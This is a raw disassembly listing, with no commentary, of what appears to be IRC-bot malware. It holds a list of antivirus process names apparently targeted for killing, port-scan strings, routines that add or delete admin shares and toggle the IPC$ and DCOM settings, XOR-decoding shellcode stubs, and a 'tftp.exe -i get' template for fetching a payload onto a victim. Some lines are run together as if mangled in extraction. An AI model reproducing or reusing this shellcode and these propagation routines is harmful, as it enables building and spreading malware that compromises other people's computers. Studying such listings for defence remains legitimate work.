aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: ___:00438260o
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: ___:0043825Co
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: ___:00438258o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: ___:00438254o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: ___:00438250o
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: ___:off_43824Co
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_415B93+191o
		align 10h
unk_43AD10	db    2			; DATA XREF: sub_415DC2:loc_415E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_43AD48	db    2			; DATA XREF: sub_415DC2+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
dword_43AD80	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_415DC2+19o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 7473694Ch,	20676E69h
		dd 636F7270h, 65737365h, 3A73h,	0
aConst		db 'const',0
		align 10h
		dd 0
dword_43ADC4	dd 0		off_43ADC8	dd offset sub_415F27	; DATA XREF: sub_4162D6+4Cr
aLetter		db 'letter',0
		align 8
		dd 1, 415F85h, 63696E64h, 6Bh, 0
		dd 2, 415FD2h
dword_43ADF4	dd 69257325h, 0						; ___:00416213o
aSSSSS		db '%s|%s|%s|%s|%s|',0  ; DATA XREF: ___:004161EDo
a99		db '99',0               ; DATA XREF: ___:loc_4161ABo
		align 10h
a0D		db '0%d',0              ; DATA XREF: ___:00416185o
aW:					; DATA XREF: ___:loc_41613Co
		unicode	0, <W>,0
off_43AE18	dd offset byte_4B4E55	; DATA XREF: ___:0041611Co
dword_43AE1C	dd 345053h	dword_43AE20	dd 34h		dword_43AE24	dd 335053h	dword_43AE28	dd 33h		
; =============== S U B	R O U T	I N E =======================================



sub_43AE2C	proc near		; DATA XREF: ___:004160DBo
		push	ebx
		push	eax
		xor	al, [eax]
sub_43AE2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43AE30	proc near		; DATA XREF: ___:004160BDo
		push	ebx
		push	eax
		xor	[eax], eax
sub_43AE30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43AE34	dd 305053h	dword_43AE38	dd 4E55h	dword_43AE3C	dd 334B32h	dword_43AE40	dd 5D64255Bh, 7325hoff_43AE48	dd offset byte_5D4D5B	; DATA XREF: sub_416233+2Co
					; sub_416233+57o
unk_43AE4C	db    2			; DATA XREF: sub_416343+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
		dd 1D4C0h
		align 8
off_43AEC8	dd offset dword_43AF00	; DATA XREF: sub_416561+1B3o
					; sub_416885+17Ao
		align 10h
		dd offset dword_43AEF8
		align 8
off_43AED8	dd offset dword_43AEF4	; DATA XREF: sub_416885+1E3o
		dd offset off_43AEF0
		dd offset dword_43AEEC
		dd offset off_43AEE8
off_43AEE8	dd offset loc_5C3A44	; DATA XREF: sub_416561+217o
					; ___:0043AEE4o
dword_43AEEC	dd 2444h	off_43AEF0	dd offset loc_5C3A43	; DATA XREF: ___:0043AEDCo
dword_43AEF4	dd 2443h	dword_43AEF8	dd 494D4441h, 244Ehdword_43AF00	dd 24435049h, 0	unk_43AF08	db    2			; DATA XREF: sub_416561+2E5o
					; sub_416885+2D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43AF48	db    2			; DATA XREF: sub_416561+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
unk_43AF80	db    2			; DATA XREF: sub_416561:loc_4167C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_43AFBC	db    2			; DATA XREF: sub_416561+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_43AFF0	db    2			; DATA XREF: sub_416561:loc_416730o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_43B02C	db    2			; DATA XREF: sub_416561+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_43B060	db    2			; DATA XREF: sub_416561:loc_416693o
					; sub_416885:loc_4169B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_43B0A0	db    2			; DATA XREF: sub_416561:loc_41668Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_43B0EC	db    2			; DATA XREF: sub_416561:loc_41666Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 10h
unk_43B130	db    2			; DATA XREF: sub_416561+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_416561+EDo
					; sub_416885+EDo
		align 10h
unk_43B190	db    2			; DATA XREF: sub_416561+91o
					; sub_416885+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 10h
dword_43B1D0	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_416561:loc_4165CEo
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_43B1FC	db    2			; DATA XREF: sub_416561+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_416561+54o
					; sub_416885+54o
		align 4
word_43B23C	dw 4Eh			; DATA XREF: sub_416561+38r
		align 10h
unk_43B240	db    2			; DATA XREF: sub_416885+2C0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_416885+22Ao
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_416885+219o
unk_43B280	db    2			; DATA XREF: sub_416885:loc_416A24o
					; sub_416885:loc_416AF2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_43B2B8	db    2			; DATA XREF: sub_416885+198o
					; sub_416885+266o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_43B2E8	db    2			; DATA XREF: sub_416885:loc_4169ACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43B334	db    2			; DATA XREF: sub_416885:loc_41698Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_43B378	db    2			; DATA XREF: sub_416885+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43B3C4	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_416885:loc_4168F2o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_43B3F0	db    2			; DATA XREF: sub_416885+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_43B424	dw 59h			; DATA XREF: sub_416885+38r
		align 4


loc_43B428:				; DATA XREF: sub_416D51+C4o
		jmp	short loc_43B42C
; ---------------------------------------------------------------------------


loc_43B42A:				; CODE XREF: ___:loc_43B42Cp
		jmp	short loc_43B431
; ---------------------------------------------------------------------------


loc_43B42C:				; CODE XREF: ___:loc_43B428j
		call	loc_43B42A


loc_43B431:				; CODE XREF: ___:loc_43B42Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43B436	dw 0FFFFh		; DATA XREF: sub_416D51+CCw
		db 80h,	73h, 0Eh
byte_43B43B	db 0FFh			; DATA XREF: sub_416D51+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_43B440:				; DATA XREF: sub_416D51+A2o
		jmp	short loc_43B444
; ---------------------------------------------------------------------------


loc_43B442:				; CODE XREF: ___:loc_43B444p
		jmp	short loc_43B449
; ---------------------------------------------------------------------------


loc_43B444:				; CODE XREF: ___:loc_43B440j
		call	loc_43B442


loc_43B449:				; CODE XREF: ___:loc_43B442j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_43B44D	db 0FFh			; DATA XREF: sub_416D51+AAw
		dw 7380h
		db 0Ch
byte_43B451	db 0FFh			; DATA XREF: sub_416D51+B0w
		dw 0E243h
		dd 0F9h
dword_43B458	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416BDA+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43B4BC	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416BDA+79o
aJ		db 'j',0
		db 0E8h
dword_43B4D5	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43B4DC
		retn
; ---------------------------------------------------------------------------
byte_43B4DC	db 0E8h			; CODE XREF: ___:0043B4D9j
dword_43B4DD	dd 1		byte_43B4E1	db 0, 6Ah, 0		; DATA XREF: sub_416BDA+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43B4EB	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4170E6+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4170E6+35o
dword_43B56C	dd 29E2C0h			dd 9875h, 9873h
off_43B578	dd offset sub_418D5F	; DATA XREF: ___:00418F6Ar
		dd offset nullsub_1
		dd offset nullsub_1
		align 10h
off_43B590	dd offset sub_418FA8	; DATA XREF: sub_4191E5+1Cr
dword_43B594	dd 2							; sub_41D415+46r ...
off_43B598	dd offset aNull_0	; DATA XREF: sub_419343:loc_4196A7r
					; sub_419343+457r
					; "(null)"
off_43B59C	dd offset aNull		; DATA XREF: sub_419343+259r
					; "(null)"
off_43B5A0	dd offset word_43B5AA	; DATA XREF: sub_417894+23r
					; sub_417894:loc_4178F5r ...
off_43B5A4	dd offset word_43B5AA	; DATA XREF: sub_420833+18r
		db 2 dup(0)
word_43B5AA	dw 20h			; DATA XREF: sub_41EE2C+18r
					; ___:off_43B5A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43B7AC	dd 1							; sub_417894:loc_4178E0r ...
byte_43B7B0	db 2Eh			; DATA XREF: sub_41A824:loc_41AB18r
					; sub_41A824+311r ...
		align 4
		dd 1, 10h
dword_43B7BC	dd 3F8h							; sub_418C3F+4Dr ...
dword_43B7C0	dd 0D2D0920h, 5Dhdword_43B7C8	dd 5Dh,	0	byte_43B7D0	db 1			; DATA XREF: sub_41BFFC+E1r
		db 2, 4, 8
		align 8
dword_43B7D8	dd 3A4h		dword_43B7DC	dd 82798260h, 21h, 0dword_43B7E8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
off_43B8C8	dd offset sub_41C8A4	; DATA XREF: sub_418D77+Fw
					; sub_419343+3AAr ...
off_43B8CC	dd offset sub_41C539	; DATA XREF: sub_418D77+5w
					; sub_419343+3E2r
off_43B8D0	dd offset sub_41C59F	; DATA XREF: sub_418D77+14w
					; sub_41A824+430r
off_43B8D4	dd offset sub_41C4DF	; DATA XREF: sub_418D77+1Ew
					; sub_419343+3CBr
off_43B8D8	dd offset sub_41C587	; DATA XREF: sub_418D77+28w
off_43B8DC	dd offset sub_41C8A4	; DATA XREF: sub_418D77+32w
dword_43B8E0	dd 1		dword_43B8E4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BA48	dd 0C0000005h						; sub_41CB8C+Ar ...
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BAC0	dd 3		dword_43BAC4	dd 7		dword_43BAC8	dd 0Ah		dword_43BACC	dd 8Ch							; ___:0041CADAw ...
dword_43BAD0	dd 0FFFFFFFFh, 0A00h					; sub_41B582:loc_41B603o
dword_43BAD8	dd 19930520h, 3	dup(0)					; sub_41D2E2+2o
dword_43BAE8	dd 2							; sub_41D415+28r
off_43BAEC	dd offset aR6002FloatingP ; DATA XREF: sub_41D415+FCr
					; sub_41D415+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421944h, 9, 421918h, 0Ah,	4218F4h, 10h, 4218C8h
		dd 11h,	421898h, 12h, 421874h, 13h, 421848h, 18h, 421810h
		dd 19h,	4217E8h, 1Ah, 4217B0h, 1Bh, 421778h, 1Ch, 421750h
		dd 78h,	421740h, 79h, 421730h, 7Ah, 421720h, 0FCh, 4282FCh
		dd 0FFh, 421710h
off_43BB78	dd offset dword_515B60	; DATA XREF: sub_41D415+1Bo
					; sub_41D5D2+55o
		align 10h
		dd offset dword_515B60
		dd 101h
dword_43BB88	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_43BB98	dd 3 dup(0)						; sub_41C981+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BBB8	dd 3 dup(0)						; sub_41C981:loc_41C99Fo
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BBE8	dd 84h dup(0)	dword_43BDF8	dd 2 dup(0)	dword_43BE00	dd 7080h						; sub_41DD12+5Ew ...
dword_43BE04	dd 1							; sub_41DD12+8Bw ...
dword_43BE08	dd 0FFFFF1F0h						; sub_41DD12+94w ...
off_43BE0C	dd offset dword_545350	; DATA XREF: ___:off_43BE8Co
		dd 0Fh dup(0)
off_43BE4C	dd offset dword_544450	; DATA XREF: ___:off_43BE90o
		dd 0Fh dup(0)
off_43BE8C	dd offset off_43BE0C	; DATA XREF: sub_41DD12+BAr
					; sub_41DD12+D9r ...
off_43BE90	dd offset off_43BE4C	; DATA XREF: sub_41DD12+F4r
					; sub_41DD12+11Br ...
		align 8
dword_43BE98	dd 0FFFFFFFFh						; sub_41DF70+1Er ...
dword_43BE9C	dd 0							; sub_41E11C+BFw
dword_43BEA0	dd 0							; sub_41E11C+E0w
		align 8
dword_43BEA8	dd 0FFFFFFFFh						; sub_41DF70+26r ...
dword_43BEAC	dd 0							; sub_41E11C+EAw ...
dword_43BEB0	dd 0							; sub_41E11C+23r ...
dword_43BEB4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43BEE4	dd 16Dh							; sub_41E11C+2Er ...
dword_43BEE8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43BF20	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43BF38	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43BF50	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C0B0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41FDC6+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
byte_43C210	db 0			; DATA XREF: sub_401447+1D3w
					; sub_401447+2D2o
		align 2
word_43C212	dw 0			; DATA XREF: sub_401447+1E3w
word_43C214	dw 0			; DATA XREF: sub_401447+1E9w
word_43C216	dw 0			; DATA XREF: sub_401447+1F0w
byte_43C218	db 0			; DATA XREF: sub_401447+1F7w
byte_43C219	db 0			; DATA XREF: sub_401447+1FEw
word_43C21A	dw 0			; DATA XREF: sub_401447+204w
dword_43C21C	dd 0							; sub_401447+250w
dword_43C220	dd 0		byte_43C224	db 0			; DATA XREF: sub_401447+26Aw
byte_43C225	db 0			; DATA XREF: sub_401447+27Dw
word_43C226	dw 0			; DATA XREF: sub_401447+295w
word_43C228	dw 0			; DATA XREF: sub_401447+2A4w
word_43C22A	dw 0			; DATA XREF: sub_401447+29Cw
